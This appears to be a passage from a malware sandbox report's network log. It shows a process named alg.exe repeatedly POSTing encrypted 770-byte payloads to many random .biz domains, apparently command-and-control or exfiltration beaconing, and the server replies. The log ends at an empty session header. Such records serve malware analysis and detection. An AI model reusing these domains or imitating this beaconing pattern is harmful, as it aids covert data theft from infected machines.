Oct 28, 2024 16:40:09.715902090 CET	770	OUT	Data Raw: e7 d9 d3 a4 66 2c aa ef f6 02 00 00 df 29 b3 9a 2b 88 24 9e 69 16 aa e5 7c d0 b9 fe 50 cb 83 fd 12 6a fe a4 3f 1b bf ef 76 06 c7 21 e5 90 74 9d 88 f3 08 e6 06 3b fc 25 88 5f 7c 0a 38 93 3e 2a c0 4d 4c ac 0e b1 b6 6f ed ce 42 40 11 32 76 88 24 80 Data Ascii: f,)+$i\|Pj?v!t;%_\|8>*MLoB@2v$pI'Gdm`T[o>8T@W0[;0-0T1(U0PC[3K$ TcAf-yNf}=I1Z0BX{$f3=ckBsAn3B
Oct 28, 2024 16:40:11.145366907 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=0342fd0f160f4826ecf73277cf167c59\|155.94.241.188\|1730130010\|1730130010\|0\|1\|0; path=/; domain=.jdhhbs.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	49888	34.246.200.160	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:11.170578957 CET	353	OUT	POST /widaxait HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: mgmsclkyu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:11.170593977 CET	770	OUT	Data Raw: b8 df 89 9f d0 d3 3a 26 f6 02 00 00 2b ff 59 e0 01 4c 27 76 8d 99 c6 36 ca 23 ee ed b0 99 d5 31 f1 2d 6e 14 76 24 32 bd 67 da 03 8a ea e6 54 34 34 dd 93 8a f7 48 49 10 f0 bb f0 9b d3 10 ff 18 80 bc d8 3b fa ba 92 2b 82 c7 be 55 d8 79 6c a6 66 25 Data Ascii: :&+YL'v6#1-nv$2gT44HI;+Uylf%kkq(Or\^AES;`_3$O-SC+\z-anD1vVUy;LPUm=}t gX)6VSX
Oct 28, 2024 16:40:12.127710104 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=78a4ab25a3c69ca6cffa8b9e867bf0b4\|155.94.241.188\|1730130011\|1730130011\|0\|1\|0; path=/; domain=.mgmsclkyu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.8	49895	18.141.10.107	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:12.152235031 CET	344	OUT	POST /i HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: warkcdu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:12.152256966 CET	770	OUT	Data Raw: 91 76 4f da e5 eb d6 ca f6 02 00 00 20 c1 aa ad 56 a5 4b 2e 47 61 39 5e 57 b5 a3 a7 ac a5 f9 1a 7a 0d 61 d2 65 d9 71 23 5e b3 9f 9a 02 1d 14 c2 4a a7 3d 12 36 2e b5 ce 7e bd e1 15 e3 de 39 f6 3b 7b d3 90 d0 70 3f 12 fc ac f0 88 1d 29 03 2a ea af Data Ascii: vO VK.Ga9^Wzaeq#^J=6.~9;{p?)f(8'+A8^@J{RFpLi"3]Q]bC[)%_$<Q5iRPmGwq&CA6E*Jp^cF"~5Lw8ZXs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.8	49901	18.141.10.107	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:13.015554905 CET	345	OUT	POST /yw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: warkcdu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:13.015609980 CET	770	OUT	Data Raw: d1 ce 57 6c 90 ab b3 c3 f6 02 00 00 d2 ed 67 8e b0 65 d2 ff 0c 87 9a 08 8b 3f ca 4d 11 11 41 51 96 f6 9c 8d a0 6f e6 ad 52 f1 e2 ad 5c 46 38 f4 24 85 4a 95 ad 4a 80 c0 64 aa 67 9b a5 61 77 26 dd e8 9b 26 e2 30 57 c0 aa fc db 50 bb 94 57 cf 6b 2f Data Ascii: Wlge?MAQoR\F8$JJdgaw&&0WPWk/-B'PJ5"SSvw8k]tCdXN$%[]9zZ.pqu\|V%y0)k8<1;9y,@2\|A2B'l>H#dKpLh
Oct 28, 2024 16:40:14.472255945 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=7c19c43e65d35917c19d1b8baf3ca9c7\|155.94.241.188\|1730130014\|1730130014\|0\|1\|0; path=/; domain=.warkcdu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.8	49911	13.251.16.150	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:14.637157917 CET	353	OUT	POST /fciuwhwcgrnu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gcedd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:14.637173891 CET	770	OUT	Data Raw: 8c ff f6 11 f0 33 78 6e f6 02 00 00 93 8b 86 63 9e b9 d1 82 29 b0 96 21 fd d5 70 62 8f e3 2d 87 b6 38 3d 6c 13 c9 e9 6f 9f d5 0f d3 ad e5 bb 2b 85 61 b9 cb 0a b8 cb 24 74 c2 92 a8 f0 5c 69 a4 46 a3 88 f4 84 64 32 19 57 d3 d1 d1 69 03 f3 08 de ea Data Ascii: 3xnc)!pb-8=lo+a$t\iFd2Wis,UL)&U{K%Emd6i!&urjAT>C$Q{ gZe117+t%G 7s(mK(gU5&Sa_?{Q}g&Pt@L8.F]\|'-)O
Oct 28, 2024 16:40:16.062576056 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=7f7be2ae4f160872c32d22cbd96c2e1d\|155.94.241.188\|1730130015\|1730130015\|0\|1\|0; path=/; domain=.gcedd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.8	49917	18.208.156.248	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:16.086004019 CET	358	OUT	POST /xttnjxujchlik HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jwkoeoqns.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:16.086041927 CET	770	OUT	Data Raw: 2c 3a f1 15 fb c5 a9 2a f6 02 00 00 b8 a5 2d fc 6b e0 f5 91 83 ac 57 da c8 37 18 18 b4 dd ff 12 d9 1a 0e 77 ff 45 cd c0 96 40 5a 57 ab 3f 32 45 04 2c bc 9d 01 fe f9 75 9f 81 88 81 9f 01 8e d9 83 f1 3a e3 c4 2e 52 85 88 b0 88 49 e1 8b 7f 14 65 6a Data Ascii: ,:-kW7wE@ZW?2E,u:.RIejuVp:#p ,'##k]]Q_q"t[@{HpZ1oAyJO=OAM{!=kqthEFwgr
Oct 28, 2024 16:40:16.753813028 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=fba1cbe48ce978c0366030a48764e250\|155.94.241.188\|1730130016\|1730130016\|0\|1\|0; path=/; domain=.jwkoeoqns.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.8	49922	18.246.231.120	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:16.781788111 CET	357	OUT	POST /njcutqqomylrvfpa HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xccjj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:16.781807899 CET	770	OUT	Data Raw: 6f c3 ff 12 35 aa df f2 f6 02 00 00 7c a5 f7 4c d3 88 97 c8 92 31 61 19 34 c7 77 24 9a 89 ab 7b 17 9e 82 25 86 60 95 db 56 99 ba 95 b6 61 e6 a0 7c fc 59 88 ea c3 36 f6 08 a5 b6 46 9d 7e aa 0e 7b d7 99 51 97 ef f2 27 7b c5 26 8e cc 1c ce 93 fb 0a Data Ascii: o5\|L1a4w${%`Va\|Y6F~{Q'{&pFQ &8O29oxZx!dskKl%F.` ug1<R\.n ^A3y2"TKi$r}6@G_{a}*V,zsCmT\|bU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.8	49924	18.246.231.120	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:17.047280073 CET	348	OUT	POST /ekoxclx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xccjj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:17.047338009 CET	770	OUT	Data Raw: b6 e1 54 50 cf ac f9 96 f6 02 00 00 c0 f0 14 02 f0 60 24 8c 91 31 5d ce 95 d1 04 32 88 99 a7 7b 90 99 48 41 34 7c bc 6d c7 32 56 c2 d1 f0 ca a1 57 d1 e2 7a 8d a8 44 ae 4b 8d 6b e2 9c 63 90 f9 e0 0a 85 49 cd b6 f5 c6 26 5d 94 fa b3 12 19 be 45 c7 Data Ascii: TP`$1]2{HA4\|m2VWzDKkcI&]EloZ=#+&j.ClfBYs75nG!@.g6n4B3 !SWy^r\APTR4f_pj1Zl88V3`r`TE80
Oct 28, 2024 16:40:17.893160105 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=f02e14e1baea82506011a4122f179a56\|155.94.241.188\|1730130017\|1730130017\|0\|1\|0; path=/; domain=.xccjj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.8	49930	44.221.84.105	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:17.915541887 CET	349	OUT	POST /eofbr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: hehckyov.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:17.915600061 CET	770	OUT	Data Raw: 14 60 05 ed 5d 88 c3 4c f6 02 00 00 98 f4 94 0e 4d a3 6f 88 9b ef 81 cc 66 e4 5e 2d 00 34 f7 16 a6 11 46 3f 13 4c b7 fa 52 27 aa 51 7f 2f bd c3 2c 71 57 af 6d 10 93 1e 28 4b e3 ac 98 eb 4c 93 f1 a8 f7 62 ad 5a dd 61 e2 a3 a2 6c 17 ba 0e e1 10 00 Data Ascii: `]LMof^-4F?LR'Q/,qWm(KLbZal_Sw^$/,Z(X~eVbJ46T0"axO`Re~6ajc,v*Is4#1E?OsvvO\_O0.{>QZ
Oct 28, 2024 16:40:18.583690882 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=0f0171a24fd7d6d93a46b06e14f7e3d5\|155.94.241.188\|1730130018\|1730130018\|0\|1\|0; path=/; domain=.hehckyov.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.8	49936	54.244.188.177	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:18.794260979 CET	344	OUT	POST /ny HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: rynmcq.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:18.794286966 CET	770	OUT	Data Raw: d1 e9 25 53 d7 17 1f 1b f6 02 00 00 68 e6 8c ec 0f 33 9b e7 c8 20 0b 12 56 92 da a8 ec 62 2b d5 d3 c5 b4 b3 c3 21 5c 63 bf 4c 5a 03 46 23 17 2d 68 28 ea f4 db b5 c0 00 b3 10 0e 57 82 4b 82 f0 9e d4 06 81 e0 72 dd 9d 80 a8 94 59 21 50 f7 6c b4 7f Data Ascii: %Sh3 Vb+!\cLZF#-h(WKrY!Pl!M.^W+,z~<DL`p)S0z`?eQ5x/vmLF5JOMLG2.]enn,`v}$/;@oOS
Oct 28, 2024 16:40:19.630018950 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5c0b271344706532f2de0b11f9bcc2ae\|155.94.241.188\|1730130019\|1730130019\|0\|1\|0; path=/; domain=.rynmcq.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.8	49942	3.254.94.185	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:19.695787907 CET	348	OUT	POST /syrmjsg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: uaafd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:19.695807934 CET	770	OUT	Data Raw: fa a1 53 fa bb 88 62 c5 f6 02 00 00 b4 e9 b8 50 3b 40 34 e3 bc 5d 76 ad b5 5e ba 2b 04 a5 0d b2 c6 c6 51 ab 5b e4 1e 32 3d 8b 56 e4 22 20 37 a5 2f dc 8a 75 f1 36 c7 c7 ed 8d c1 6d 28 1a 9a 63 e3 1f b8 63 37 03 37 7e 10 fc 6e 47 ec dc 3c a5 f0 65 Data Ascii: SbP;@4]v^+Q[2=V" 7/u6m(cc77~nG<eyjB: ujq}uZcK&`E.E'"ZlQ{bWEn\|Htc.t!/Do1#=Q;2]H>II_<{mIBBxRA]K\|SFF$
Oct 28, 2024 16:40:21.546056986 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=82f311d95c999b6707656a3ae0b4e940\|155.94.241.188\|1730130020\|1730130020\|0\|1\|0; path=/; domain=.uaafd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 28, 2024 16:40:21.546827078 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=82f311d95c999b6707656a3ae0b4e940\|155.94.241.188\|1730130020\|1730130020\|0\|1\|0; path=/; domain=.uaafd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.8	49943	3.254.94.185	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:21.555857897 CET	354	OUT	POST /dyeprbeyhvxqi HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: uaafd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:21.555874109 CET	770	OUT	Data Raw: 9c f5 52 34 0e ac 40 69 f6 02 00 00 5e be c0 b3 52 1f d6 45 0b 2d 66 f1 bd 68 b0 7a 85 79 cc 80 22 50 3a 78 a8 81 e6 fc 6c 6e 68 03 e4 60 7d 61 18 99 96 81 4f a3 0a 68 8d 23 0d 55 2e 4b b3 83 43 30 0b db c9 12 f7 4b bf c2 7c 11 04 01 a9 76 83 78 Data Ascii: R4@i^RE-fhzy"P:xlnh`}aOh#U.KC0K\|vxo=b2h`L'hV!n+F=+!l4-hJU+tFfYoMfHY`nEtlFWl\|;\?{Ml(W{Y?OB^W?&Y6r_(Sw=x
Oct 28, 2024 16:40:22.522707939 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c0ef5c25178a1cc690a932d1f66e1423\|155.94.241.188\|1730130022\|1730130022\|0\|1\|0; path=/; domain=.uaafd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.8	49949	18.141.10.107	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:22.549654007 CET	347	OUT	POST /xwl HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: eufxebus.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:22.549678087 CET	770	OUT	Data Raw: 23 77 70 1a 0b 5c 2a ef f6 02 00 00 24 df f9 fe e0 9d 22 91 7b 9c 9e 14 91 a0 a3 f9 c3 cd 9a 97 41 2e 1a 9f b1 9d dc 9c 58 82 88 c8 90 a3 d3 9c 8a cf 12 7e aa c0 c1 e0 40 30 64 38 19 1e e8 59 78 e0 80 33 e4 25 cd 53 fd 4b b0 9d 46 50 17 c6 eb c7 Data Ascii: #wp\$"{A.X~@0d8Yx3%SKFPSfmJmGgNcOnXmo\F{H3\|JhXh2X.&cMo~-k@B;kz=WIA-JaC0)u1jgeHg
Oct 28, 2024 16:40:23.966998100 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3f72816b25a41e7180f74943426562cc\|155.94.241.188\|1730130023\|1730130023\|0\|1\|0; path=/; domain=.eufxebus.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.8	49960	34.246.200.160	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:24.027254105 CET	346	OUT	POST /qhpr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pwlqfu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:24.028794050 CET	770	OUT	Data Raw: 2c 3f 71 08 69 c5 6a c2 f6 02 00 00 e9 f2 ed 53 1a b2 0c fb 8a bc b9 20 a8 b6 97 5b 13 b1 70 24 e3 4c 97 4f 19 e0 39 b1 87 16 89 ec ad 8e 4e 6b 7a ea 66 65 67 e1 92 4b 75 d7 d4 74 46 dc 0c 62 c8 52 32 c0 d1 3b af 97 08 90 23 06 29 1d 53 1a 29 47 Data Ascii: ,?qijS [p$LO9NkzfegKutFbR2;#)S)G rg~TT<pp<}c3:j}dA/!LVW[E\bacW0AUO(^p>CyT Bay,Mm/e4<gc-z39'11D
Oct 28, 2024 16:40:24.997720957 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=b480a30ba3aeda93848268597239b104\|155.94.241.188\|1730130024\|1730130024\|0\|1\|0; path=/; domain=.pwlqfu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.8	49965	47.129.31.212	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:25.020401001 CET	347	OUT	POST /lx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: rrqafepng.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:25.020401001 CET	770	OUT	Data Raw: 31 e7 e7 ad 7d 55 e0 35 f6 02 00 00 5a ca d6 a5 d9 46 5d 6e e3 ea 16 67 92 ad b1 f1 81 1e a8 33 db 6a 03 95 33 8e df 96 d0 70 12 40 ae 88 5a 1e e0 ef e6 92 a9 a3 54 24 55 bb 7f 2a 9f f2 4a ee a6 ce c8 05 43 d7 7b e1 a1 b8 12 46 b3 22 8b a3 65 05 Data Ascii: 1}U5ZF]ng3j3p@ZT$UJC{F"e]r@,MAIb;y.;_s'Z.Zi-8v]N5r/\|-_l"<:jT-!su{`$hk_n.K3G@_1PH;l+F?Nb1{
Oct 28, 2024 16:40:26.499965906 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=f50c7eeed0c0d91aa01edbfda3b2fa95\|155.94.241.188\|1730130026\|1730130026\|0\|1\|0; path=/; domain=.rrqafepng.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.8	49974	3.94.10.34	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:27.042694092 CET	359	OUT	POST /dpaslnrfmhydrsi HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ctdtgwag.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:27.042694092 CET	770	OUT	Data Raw: 7c 6d 33 04 58 73 87 0f f6 02 00 00 1e 32 ce a2 13 01 23 59 8d 82 be dd 13 f6 68 c6 03 81 d7 d2 ff d1 19 65 a3 ee ed df 0f 5c 9f 9d 25 55 d6 ac 12 bd eb f5 f8 75 0f ca 42 6e 81 52 61 c7 37 12 d4 65 c4 6f 98 9c bf 1f 7f 71 59 e5 5a d2 02 01 ed ec Data Ascii: \|m3Xs2#Yhe\%UuBnRa7eoqYZ[/\Ow0H"Ws;.?/Hj8 _Z6=$\{Azn43Onk-<]G-5*k"H$Nf5:jfqt:
Oct 28, 2024 16:40:27.719687939 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=1d7f4a459fc2e5aa00c148b46ac51bf3\|155.94.241.188\|1730130027\|1730130027\|0\|1\|0; path=/; domain=.ctdtgwag.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.8	49975	35.164.78.200	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
